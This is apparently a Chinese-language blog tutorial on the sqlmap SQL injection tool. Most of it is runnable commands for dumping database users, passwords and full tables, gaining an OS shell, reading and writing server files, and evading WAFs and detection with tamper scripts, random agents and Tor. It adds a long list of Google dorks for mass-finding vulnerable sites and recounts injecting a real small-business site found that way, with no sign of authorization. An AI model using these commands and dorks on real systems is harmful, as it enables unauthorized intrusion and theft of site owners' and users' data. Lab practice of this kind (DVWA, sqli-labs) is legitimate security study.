SQLMAP

sqlmap是一个kali自带的SQL注入工具,它的主要功能是对扫描,并且对指定URL进行注入,内置了很多绕过插件,还有很多功能我没使用过.........

Sqlmap

 

目前支持的数据库有MySql、Oracle、Access、PostageSQL、SQL Server、IBM DB2、SQLite、Firebird、Sybase和SAP MaxDB等

Sqlmap采用了以下5种独特的SQL注入技术(大佬请手工....)

    基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入
    基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否已经执行(即页面返回时间是否增加)来判断
    基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中
    联合查询注入,在可以使用Union的情况**入
    堆查询注入,可以同时执行多条语句时的注入

Sqlmap的强大的功能包括 数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时执行任意命令。

sqlmap是一个跨平台的工具,很好用,是SQL注入方面一个强大的工具!

kali终端输入sqlmap即可打开界面,sqlmap-h可自行查看命令指南Sqlmap

 SQLMAP的常用方法

建议直接在kali系统里用这个工具,win的话需要python环境。

 sqlmap -r http.txt  #http.txt是我们抓取的http的请求包
sqlmap -r http.txt -p username  #指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   --cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --data="uname=admin&passwd=admin&submit=Submit"  #抓取其post提交的数据填入
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     #列出数据库所有管理员角色,仅适用于oracle数据库的时候
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --dbs        #爆出所有的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --tables     #爆出所有的数据表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --columns    #爆出数据库中所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"    --current-db #查看当前的数据库
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables #爆出数据库security中的所有的表
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns #爆出security数据库中users表中的所有的列
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  #爆出数据库security中的users表中的username列中的所有数据
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all #爆出数据库security中的users表中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   #爆出数据库security中的所有数据
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  #爆出该数据库中的所有数据
 
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tamper=space2comment.py  #指定脚本进行过滤,用/**/代替空格
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 #探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。当level=3时,会测试user-agent/referer注入。
sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   #执行--os-shell命令,获取目标服务器权限
 
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" #读取目标服务器C盘下的test.txt文件
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  #将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt
 
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     #指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent**
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    #指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,默认情况下会测试所有的方式,当然,我们也可以直接手工指定。
支持的探测方式如下:
B: Boolean-based blind SQL injection(布尔型注入)
E: Error-based SQL injection(报错型注入)
U: UNION query SQL injection(可联合查询注入)
S: Stacked queries SQL injection(可多语句查询注入)
T: Time-based blind SQL injection(基于时间延迟注入)
 
-v3                   #输出详细度  最大值5 会显示请求包和回复包
--threads 5           #指定线程数
--fresh-queries       #清除缓存
--flush-session       #清空会话,重构注入
--batch               #对所有的交互式的都是默认的
--random-agent        #任意的http头
--tamper base64encode            #对提交的数据进行base64编码
--referer http://www.baidu.com   #伪造referer字段
 
--keep-alive     保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. sqlmap is going to retry the request(s) 保错的时候,使用这个参数。

 对于一个指定URL,直接sqlmap -u +指定的URL,比如带id参数的URL,用搜索语法可以批量搜索,

  •  
  • inurl:products.asp?id=
  • inurl:newsSHOw.asp?id=
  • inurlasp=XXX?)
  • site:jp搜索日本网站
  • inurl:asp?id=
  • cat.asp?cat=
  • productlist.asp?catalogid=
  • Category.asp?category_id=
  • Category.cfm?category_id=
  • category.asp?cid=
  • category.cfm?cid=
  • category.asp?cat=
  • category.cfm?cat=
  • category.asp?id=
  • index.cfm?pageid=
  • category.asp?catid=
  • Category.asp?c=
  • Category.cfm?c=
  • productlist.cfm?catalogid=
  • productlist.asp?catalogid=
  • viewitem.asp?c
  • nurl:asp
  • 目标关键字+inurl:id
  • 英语字母及单词+inurl:id
  • 网站域名+inurl:id
  • 阿拉伯数字+inurl:id
  • inurl:asp?id=
  • inurl:Article_Print.asp?
  • EnCompHonorBig.asp?id=随便加个数字
  • showproduct.asp?id=随便加个数字
  • inurl:ManageLogin.asp
  • EnCompHonorBig.asp?id= 随便加个数字
  • inurl: (asp?=数字) inurl: (php?=数字)
  • inurl:Article_Print.asp?
  • site 指定网站 inurl:Article_Print.asp?
  • NewsInfo.asp?id=
  • ShowNew.asp?Id=
  • ShowNews.asp?Id=
  • Show.asp?Id=
  • Google dorks sql injection:
  • inurl:index.php?id=
  • inurl:trainers.php?id=
  • inurl:buy.php?category=
  • inurl:article.php?ID=
  • inurllay_old.php?id=
  • inurl:declaration_more.php?decl_id=
  • inurlageid=
  • inurl:games.php?id=
  • inurlage.php?file=
  • inurl:newsDetail.php?id=
  • inurl:gallery.php?id=
  • inurl:article.php?id=
  • inurl:show.php?id=
  • inurl:staff_id=
  • inurl:newsitem.php?num=
  • inurl:readnews.php?id=
  • inurl:top10.php?cat=
  • inurl:historialeer.php?num=
  • inurl:reagir.php?num=
  • inurl:Stray-Questions-View.php?num=
  • inurl:forum_bds.php?num=
  • inurl:game.php?id=
  • inurl:view_product.php?id=
  • inurl:newsone.php?id=
  • inurl:sw_comment.php?id=
  • inurl:news.php?id=
  • inurl:avd_start.php?avd=
  • inurl:event.php?id=
  • inurlroduct-item.php?id=
  • inurl:sql.php?id=
  • inurl:news_view.php?id=
  • inurl:select_biblio.php?id=
  • inurl:humor.php?id=
  • inurl:aboutbook.php?id=
  • inurl:fiche_spectacle.php?id=
  • inurl:communique_detail.php?id=
  • inurl:sem.php3?id=
  • inurl:kategorie.php4?id=
  • inurl:news.php?id=
  • inurl:index.php?id=
  • inurl:faq2.php?id=
  • inurl:show_an.php?id=
  • inurlreview.php?id=
  • inurl:loadpsb.php?id=
  • inurl:Opinions.php?id=
  • inurl:spr.php?id=
  • inurlages.php?id=
  • inurl:announce.php?id=
  • inurl:clanek.php4?id=
  • inurlarticipant.php?id=
  • inurl:download.php?id=
  • inurl:main.php?id=
  • inurl:review.php?id=
  • inurl:chappies.php?id=
  • inurl:read.php?id=
  • inurlrod_detail.php?id=
  • inurl:viewphoto.php?id=
  • inurl:article.php?id=
  • inurlerson.php?id=
  • inurlroductinfo.php?id=
  • inurl:showimg.php?id=
  • inurl:view.php?id=
  • inurl:website.php?id=
  • inurl:hosting_info.php?id=
  • inurl:gallery.php?id=
  • inurl:rub.php?idr=
  • inurl:view_faq.php?id=
  • inurl:artikelinfo.php?id=
  • inurl:detail.php?ID=
  • inurl:index.php?=
  • inurlrofile_view.php?id=
  • inurl:category.php?id=
  • inurlublications.php?id=
  • inurl:fellows.php?id=
  • inurl:downloads_info.php?id=
  • inurlrod_info.php?id=
  • inurl:shop.php?do=part&id=
  • inurlroductinfo.php?id=
  • inurl:collectionitem.php?id=
  • inurl:band_info.php?id=
  • inurlroduct.php?id=
  • inurl:releases.php?id=
  • inurl:ray.php?id=
  • inurlroduit.php?id=
  • inurlop.php?id=
  • inurl:shopping.php?id=
  • inurlroductdetail.php?id=
  • inurlost.php?id=
  • inurl:viewshowdetail.php?id=
  • inurl:clubpage.php?id=
  • inurl:memberInfo.php?id=
  • inurl:section.php?id=
  • inurl:theme.php?id=
  • inurlage.php?id=
  • inurl:shredder-categories.php?id=
  • inurl:tradeCategory.php?id=
  • inurl:Product_ranges_view.php?ID=
  • inurl:shop_category.php?id=
  • inurl:transcript.php?id=
  • inurl:channel_id=
  • inurl:item_id=
  • inurl:newsid=
  • inurl:trainers.php?id=
  • inurl:news-full.php?id=
  • inurl:news_display.php?getid=
  • inurl:index2.php?option=
  • inurl:readnews.php?id=
  • inurl:top10.php?cat=
  • inurl:newsone.php?id=
  • inurl:event.php?id=
  • inurl:Product-item.php?id=
  • inurl:sql.php?id=
  • inurl:aboutbook.php?id=

运用一个真实例子

 能注入的前提都是要输入参数会与数据库进行交互,如果结尾是HTML或者HTM的网页就没必要弄了,不是所有的网页都会有注入点存在。虽说现在的WAF横行,但是还是会有小企业站点不重视安全,下面这个便是依靠语法找到的一个小企业网站,在用sqlmap-u + URL这个命令中,返回结果中将这个主机的数据库,操作系统,web应用配置都一一罗列了出来,很多常见的小企业站点都会运用asp+access+apache/iis进行配置。

Sqlmap

 这里运用到的是Boolean注入,探测到了一些相关信息,Payload也爆出来了,也可以去这个站点去手工测试,剩下的爆数据库,爆表名,字段名就很容易了。

sqlmap -u +URL --dbs

sqlmap -u+ URL --users/passwords

想要测试的可以去DVWA自己搭建SQL 注入的平台测试

 

SQL的高级用法(没尝试过)

Sqlmap在默认情况下除了适用CHAR()函数防止出现单引号,没有对注入的数据进行修改。我们可以使用--tamper参数对数据进行修改来绕过WAF等设备,其中的大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则。Sqlmap目前官方提供53个绕过脚本。

  •  --identify-waf   检测是否有WAF
  •  
  • #使用参数进行绕过
  • --random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候
  • --time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时
  • --hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上
  • --proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过
  • --ignore-proxy    禁止使用系统的代理,直接连接进行注入
  • --flush-session   清空会话,重构注入
  • --hex 或者 --no-cast     进行字符码转换
  • --mobile          对移动端的服务器进行注入
  • --tor             匿名注入

 

探测等级和危险等级

Sqlmap一共有5个探测等级,默认是1。等级越高,说明探测时使用的payload也越多。其中5级的payload最多,会自动**出cookie、XFF等头部注入。当然,等级越高,探测的时间也越慢。这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP  User-Agent/Referer头在level为3时就会测试。在不确定哪个参数为注入点时,为了保证准确性,建议设置level为5

sqlmap一共有3个危险等级,也就是说你认为这个网站存在几级的危险等级。和探测等级一个意思,在不确定的情况下,建议设置为3级,--risk=3

 

然后就是不断使用学习吧,还有其他很好的工具,啊D,穿山甲等自动化的测试工具,一定要做好的白帽子,用到好的面去

相关文章:

  • 2021-10-14
  • 2021-07-16
  • 2022-12-23
猜你喜欢
  • 2021-05-10
  • 2021-04-09
  • 2021-08-27
  • 2021-07-27
相关资源
相似解决方案